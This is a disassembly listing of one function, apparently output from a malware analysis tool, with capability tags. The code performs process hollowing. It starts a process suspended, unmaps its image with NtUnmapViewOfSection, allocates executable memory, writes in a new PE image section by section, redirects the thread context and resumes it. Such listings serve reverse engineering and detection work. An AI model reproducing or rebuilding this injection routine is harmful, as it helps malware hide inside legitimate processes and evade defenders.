Function at 0x402d10
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff8c
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
cmp word [edx], 0x5a4d
jne 0x402edb
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp dword [edx], 0x4550
jne 0x402edb
push 0x44
push 0
lea ecx, [ebp - 0x74]
push ecx
call fcn.00416c90
add esp, 0xc
push 0x10
push 0
lea eax, [ebp - 0x30]
push eax
call fcn.00416c90
add esp, 0xc
lea edx, [ebp - 0x30]
push edx
lea ecx, [ebp - 0x74]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateProcessA
test eax, eax
je 0x402edb
push 4
push 0x1000
push 4
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x10007
push dword [ebp - 0x10]
push dword [ebp - 0x2c]
call sub.KERNEL32.DLL_GetThreadContext
test eax, eax
je 0x402edb
push 0
push 4
lea edx, [ebp - 0x14]
push edx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x30]
call sub.KERNEL32.DLL_ReadProcessMemory
mov edx, dword [ebp - 8]
mov ecx, dword [edx + 0x34]
cmp ecx, dword [ebp - 0x14]
jne 0x402e03
push str.NtUnmapViewOfSection
push str.ntdll.dll
call sub.KERNEL32.DLL_GetModuleHandleA
push eax
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0x18], eax
push dword [ebp - 0x14]
push dword [ebp - 0x30]
call dword [ebp - 0x18]
push 0x40
push 0x3000
mov eax, dword [ebp - 8]
push dword [eax + 0x50]
mov edx, dword [ebp - 8]
push dword [edx + 0x34]
push dword [ebp - 0x30]
call sub.KERNEL32.DLL_VirtualAllocEx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x402edb
push 0
mov ecx, dword [ebp - 8]
push dword [ecx + 0x54]
push dword [ebp + 0xc]
push dword [ebp - 0x1c]
push dword [ebp - 0x30]
call sub.KERNEL32.DLL_WriteProcessMemory
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x402e8a
mov edx, dword [ebp - 0x20]
shl edx, 3
lea edx, [edx + edx*4]
mov ecx, dword [ebp - 4]
add edx, dword [ecx + 0x3c]
add edx, 0xf8
add edx, dword [ebp + 0xc]
mov dword [ebp - 0xc], edx
push 0
mov eax, dword [ebp - 0xc]
push dword [eax + 0x10]
mov edx, dword [ebp - 0xc]
mov ecx, dword [edx + 0x14]
add ecx, dword [ebp + 0xc]
push ecx
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0xc]
add edx, dword [ebp - 0x1c]
push edx
push dword [ebp - 0x30]
call sub.KERNEL32.DLL_WriteProcessMemory
inc dword [ebp - 0x20]
mov ecx, dword [ebp - 8]
movzx eax, word [ecx + 6]
cmp eax, dword [ebp - 0x20]
jg 0x402e48
push 0
push 4
mov edx, dword [ebp - 8]
add edx, 0x34
push edx
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x30]
call sub.KERNEL32.DLL_WriteProcessMemory
mov edx, dword [ebp - 8]
mov ecx, dword [edx + 0x28]
add ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov dword [eax + 0xb0], ecx
push dword [ebp - 0x10]
push dword [ebp - 0x2c]
call sub.KERNEL32.DLL_SetThreadContext
push dword [ebp - 0x2c]
call sub.KERNEL32.DLL_ResumeThread
mov esp, ebp
pop ebp
ret